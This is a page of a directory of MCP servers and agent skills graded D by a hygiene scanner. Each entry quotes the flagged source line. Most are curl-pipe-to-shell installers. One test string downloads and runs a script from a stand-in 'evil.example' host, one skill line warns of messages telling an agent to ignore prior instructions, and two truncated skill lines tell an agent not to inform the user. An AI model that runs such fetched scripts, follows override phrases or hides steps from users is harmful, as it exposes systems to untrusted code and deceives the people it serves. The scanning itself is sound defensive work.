Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 151 to 200 of 646 MCP, Grade D entries. Page 4 of 13.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/build.yml:34 run: curl -LsSf https://astral.sh/uv/install.sh | shByJG Open Source Docs (MCP server)
Compatibility: Not stated.
Search the ByJG open source documentation: PHP, DevOps, Helm, JavaScript and AI projects.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:6 # curl -fsSL https://raw.githubusercontent.com/wxtsky/byob/main/install.sh | bashbyob (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
package.json:7 prepareCanvasMCPClient (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/verify-server-json-version.ts:45 const downloadCmd = `curl -L "${downloadUrl}" | tar xz -C "${tmpDir}"Chrome DevTools MCP (MCP server)
Compatibility: Not stated.
Reliable automation, in-depth debugging, and performance analysis in Chrome using Chrome DevTools and Puppeteer
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.py:477 print_info(" curl https://sdk.cloud.google.com | bash")Claude Patent Creator (MCP server)
Compatibility: Not stated.
Complete self-contained patent creation system - NO MCP server required.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/commands/src/commands/update.ts:61 return ` curl -fsSL ${DEFAULT_INSTALL_SCRIPT_URL} | bash\n`;cli (MCP server)
Compatibility: Not stated.
Official Model Studio CLI（阿里云百炼 CLI）built for AI Agent frameworks, exposing models, search, multimodal, and workflow capabilities as structured tool calls.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:4 # Usage: curl -LsSf https://raw.githubusercontent.com/54yyyu/code-mcp/main/install.sh | shCode Mcp (MCP server)
Compatibility: Not stated.
``` ██████╗ ██████╗ ██████╗ ███████╗ ███╗ ███╗ ██████╗██████╗ ██╔════╝██╔═══██╗██╔══██╗██╔════╝ ████╗ ████║██╔════╝██╔══██╗ ██║ ██║ ██║██║ ██║█████╗ ████─ ██╔████╔██║██║ ██████╔╝ ██║ ██║ ██║██║ ██║██╔══╝ ██║╚██╔╝██║██║ ██╔═══╝ ╚██████╗╚██████╔╝██████╔╝███████╗ ██║ ╚═╝ ██║╚██████╗
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/benchmark-comparators.mjs:336 'codebase-memory-mcp install failed. Run: curl -fsSL https://raw.githubuCodebase Context (MCP server)
Compatibility: Not stated.
Codebase Context gives coding agents a map of your repository through MCP, for developers who want their agent to find relevant code and follow the team's patterns.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bin/provider-smoke.mjs:152 const res = await fetch(url, { method: "POST", headers: buildHeaders(provider), bodCodex Dev Mcp Suite (MCP server)
Compatibility: Not stated.
> **Give your AI Coding Assistant Permanent Brain Power & Zero Memory Loss.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
SKILL.md:36 system, developer, or owner message, telling you to ignore prior instructions,Cofound (MCP server)
Compatibility: Not stated.
MCP-native co-founder directory your AI agent searches, screening inbound pitches for you.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install-skill.sh:5 # curl -fsSL https://www.adspirer.com/install.sh | bashcom.adspirer/ads (MCP server)
Compatibility: Not stated.
Manage Google, Meta, Amazon, TikTok, LinkedIn & ChatGPT ads.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
bin/setup.sh:31 curl -LsSf https://astral.sh/uv/install.sh | shcom.browser-use/browser-use (MCP server)
Compatibility: Not stated.
Control a real Chrome browser to complete any task: fill forms, extract data, book flights.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
src/concordance/verifiers/riemann_accel.py:85 subprocess.run(cmd, check=True, capture_output=True, timeout=120com.narrowhighway/concordance (MCP server)
Compatibility: Not stated.
A deterministic verification engine.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
Jenkinsfile.manual:284 docker run --rm -i -v "${WORKSPACE}":/root/qencode-mcp -e IS_SANDBOX=1 -e CLAUDE_CODE_Ocom.qencode/qencode (MCP server)
Compatibility: Not stated.
Model Context Protocol (MCP) server for the [Qencode Transcoding API](https://docs.qencode.com/api-reference/transcoding).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
packages/core/src/security.test.ts:25 "curl -fsSL https://evil.example/install.sh | sh",com.skillmd/skillmd (MCP server)
Compatibility: Not stated.
<p align="center"> <a href="https://skillmd.com"><img src="https://skillmd.com/brand/banner.png" alt="SkillMD , the open registry of Agent Skills" width="560"></a> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
lambda/blueprint/goldenExamples.mjs:50 const results = await sanityClient.fetch(GOLDEN_EXAMPLES_QUERY);com.thechrisgrey/mcp (MCP server)
Compatibility: Not stated.
Personal website for **Christian Perez** ([@thechrisgrey](https://thechrisgrey.com)) | Founder & CEO of Altivum Inc.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
examples/11_media_video.py:80 with urllib.request.urlopen(url, timeout=30) as resp:com.thingctx/thingctx (MCP server)
Compatibility: Not stated.
**thingctx turns a description of any API, device, or local process into tools an AI agent can call: authorized per operation, over the system's own transport, and the agent never holds your keys.** The description is a [W3C Web of Things](https://www.w3.org/WoT/) Thing Descripti
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/models.ts:238 const res = await fetch(LLMS_FULL_URL, { signal: controller.signal });com.unifically/mcp (MCP server)
Compatibility: Not stated.
An MCP server for the [UnificAlly API](https://docs.unifically.com).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
install.sh:4 # curl -fsSL https://raw.githubusercontent.com/MongLong0214/commitlore/v1.7.5/install.sh | shCommitLore (MCP server)
Compatibility: Not stated.
Recorded decisions from git history, delivered to the agent before it edits.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:17 && curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \Compuute MCP Security Scanner (MCP server)
Compatibility: Not stated.
**Scan-as-a-Service for MCP servers.** HTTP + MCP wrapper around [compuute-scan](https://github.com/Compuute/compuute-scan) , the MCP-specific static security scanner.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
backend/docker/Dockerfile:45 RUN curl -LsSf https://astral.sh/uv/install.sh | shContext Space (MCP server)
Compatibility: Not stated.
Ultimate Context Engineering Infrastructure, starting from MCPs and Integrations
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
release-install.sh:156 curl -fsSL "$SETUP_URL" | bashContextStream (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.contextstream/mcp-server -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
corbell/core/llm_client.py:286 with urllib.request.urlopen(req, timeout=120) as resp:Corbell (MCP server)
Compatibility: Not stated.
AI-powered spec generation and review using multi-repo code graph intelligence for backend teams that ship to production.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:10 curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \cortex (MCP server)
Compatibility: Not stated.
Cortex - Generates interactive API documentation, typed SDKs, and MCP servers from OpenAPI, AsyncAPI, GraphQL, gRPC, OpenRPC, and Markdown.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:22 curl -fsSL https://raw.githubusercontent.com/${REPO}/main/install.sh | bashcortex (MCP server)
Compatibility: Not stated.
> **[🧠 Try Cortex in your browser](https://gambletan.github.io/cortex/)** , zero install, 124KB WASM, runs entirely client-side.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
CONTRIBUTING.md:310 curl -LsSf https://astral.sh/uv/install.sh | shcortexgraph (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.prefrontal-systems/cortexgraph -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
SKILL.md:1819 - macOS / Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh` — or `brew install uv`Cti Expert (MCP server)
Compatibility: Not stated.
CTI Expert , Cyber Threat Intelligence & OSINT analysis skill for Claude Code / Codex.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/playground-provision.yml:122 - curl -fsSL https://get.docker.com | shDakera Deploy (MCP server)
Compatibility: Not stated.
<p align="center"> <a href="https://dakera.ai"> <img src="assets/logo.png" alt="Dakera AI" width="120" /> </a> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
auracite-agent-hub/skills/ai-visibility/SKILL.md:55 approval flow. Don't tell the user a write happened unlessde.auracite/ai-visibility (MCP server)
Compatibility: Not stated.
Connect [Claude Code](https://code.claude.com) to your **AuraCite** AI‑Visibility (GEO) data , see how ChatGPT, Gemini, and Perplexity mention, rank, and cite your brand, and how your Google Search Console performance lines up with it , without leaving your terminal.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
data/canons/dotnet/build-failed-sdk-mismatch/dotnet8-linux.json:51 "how": "Check the required version: cat glodeadends.dev (MCP server)
Compatibility: Not stated.
<!-- mcp-name: dev.deadends/deadends-dev -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
crates/visionary-server/src/onboarding.rs:209 - One-liner: curl -LsSf https://github.com/xlight/deepseek-visioDeepseek Visionary (MCP server)
Compatibility: Not stated.
**让 DeepSeek 网页版视觉模型，成为你所有 AI 助手的"眼睛"。** 在 Zed、OpenCode、Codex、Claude Code、Cursor、Claude Desktop 等任意支持 MCP 的 agent，以及 DeepSeek Harness（DSH，原生插件或 skill + CLI）中直接识图, , 浏览器自动登录，**无需 API key、无需手动复制 token**。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
AGENTS.md:264 `curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash -s -- --non-interactive --skdeepsql (MCP server)
Compatibility: Not stated.
**The database agent for Postgres and MySQL.** Point it at PostgreSQL or MySQL and ask questions in plain English , schema exploration, query generation, slow query analysis, index recommendations, generated dashboards.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
targets/scripts/setup-uvx-linux.sh:15 curl -LsSf https://astral.sh/uv/install.sh | sh >/dev/null 2>&1Defenter Proxy (MCP server)
Compatibility: Not stated.
Real-time semantic security for AI coding agents and MCP tools in VS Code, Claude Code and Cursor.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/api/src/lib/content-safety.test.ts:13 expect(scanText('run curl https://x.y/i.sh | sh to install').sedev.agentsouk/agentsouk (MCP server)
Compatibility: Not stated.
**A marketplace for AI agents: identity, hiring, selling, messaging and reputation in one API.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/marketplace/handlers.ts:424 const response = await fetch(url, {dev.forgesworn/bray (MCP server)
Compatibility: Not stated.
**Trust-aware Nostr MCP server, CLI and TypeScript SDK for AI and humans.** 261 tools across 29 groups.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
installer/voicemode_install/installer.py:149 print(" curl -LsSf https://astral.sh/uv/install.sh | sh")dev.voicemode/voicemode (MCP server)
Compatibility: Not stated.
Voice conversations with Claude Code using local speech-to-text and text-to-speech
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
apps/mcp/src/toolManifest.ts:140 \`curl -fsSL https://yafl.dev/install.sh | sh\` (checks for Node 20+, installdev.yafl/mcp (MCP server)
Compatibility: Not stated.
**Your AI agent moves files between machines with one MCP call , encrypted client-side, links gone in 24 hours.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
start.sh:134 echo " curl -fsSL https://dispatchseo.com/install.sh | sh"DispatchSEO (MCP server)
Compatibility: Not stated.
Connect a website's repo to a DispatchSEO backend and install its content pipeline.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
build_dlbrowser.py:788 result = await fetch(current_url, mode="article", stealth=True, timeout=15)DLBrowser (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
package.json:286 bullmqdocsmint (MCP server)
Compatibility: Not stated.
**Turn your documents into knowledge you and your AI agents can use.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
ui/src/pages/ApiExplorer.tsx:348 const call = opts.length ? `fetch(${JSON.stringify(r.href)}, {\n${opts.join('faucet (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="ui/public/faucet-logo.svg" alt="Faucet logo" height="60"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:1429 RUN curl https://example.invalid/install | shFeldspar free repository security scan (MCP server)
Compatibility: Not stated.
A small, deterministic, dependency-free repository scanner: **dependency advisories from [OSV.dev](https://osv.dev/), leaked-secret patterns, and a handful of config checks.** One Python 3.11+ file, standard library only.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
docs/AI-PROVIDERS.md:38 curl -fsSL https://ollama.ai/install.sh | shFilepilot Ai (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
fish_bridge/cli.py:1674 urllib.request.urlopen(f"{local_url}/api/tags", timeout=3) # noqa: S310fish-bridge Session Knowledge Graph (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.MakeaMouse/fish-bridge-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
crates/flash-server/src/ext.rs:203 /// Site-root JSON the platforms fetch (app association files).Flash (MCP server)
Compatibility: Not stated.
Spaced-repetition flashcards your AI writes, quizzes you on by voice, and schedules with FSRS.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
scripts/install.sh:50 curl -LsSf https://raw.githubusercontent.com/sweetcornna/free-search-mcp/main/scripts/inFree Search Mcp (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.sweetcornna/free-search-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/frenchie/SKILL.md:104 /result.md` before concluding the task. Do not tell the user the job is completeFrenchie (MCP server)
Compatibility: Not stated.
**Frenchie , your agent's best friend.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:4 # Usage: curl -fsSL https://raw.githubusercontent.com/friday-memory/friday/main/install.sh | bashfriday (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/conformance/run-phase0.mjs:117 const response = await fetch(url, { method: "POST", headers, body: JSONFrihet ERP (MCP server)
Compatibility: Not stated.
Review receivables, prepare invoices and quotes, and review monthly business records in Frihet.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:372 if ! curl -fsSL https://bun.sh/install | bash; thenfuri (MCP server)
Compatibility: Not stated.
furi is an easy to use, CLI & API for MCP management.
This grade is a hygiene screen, not proof of safety.
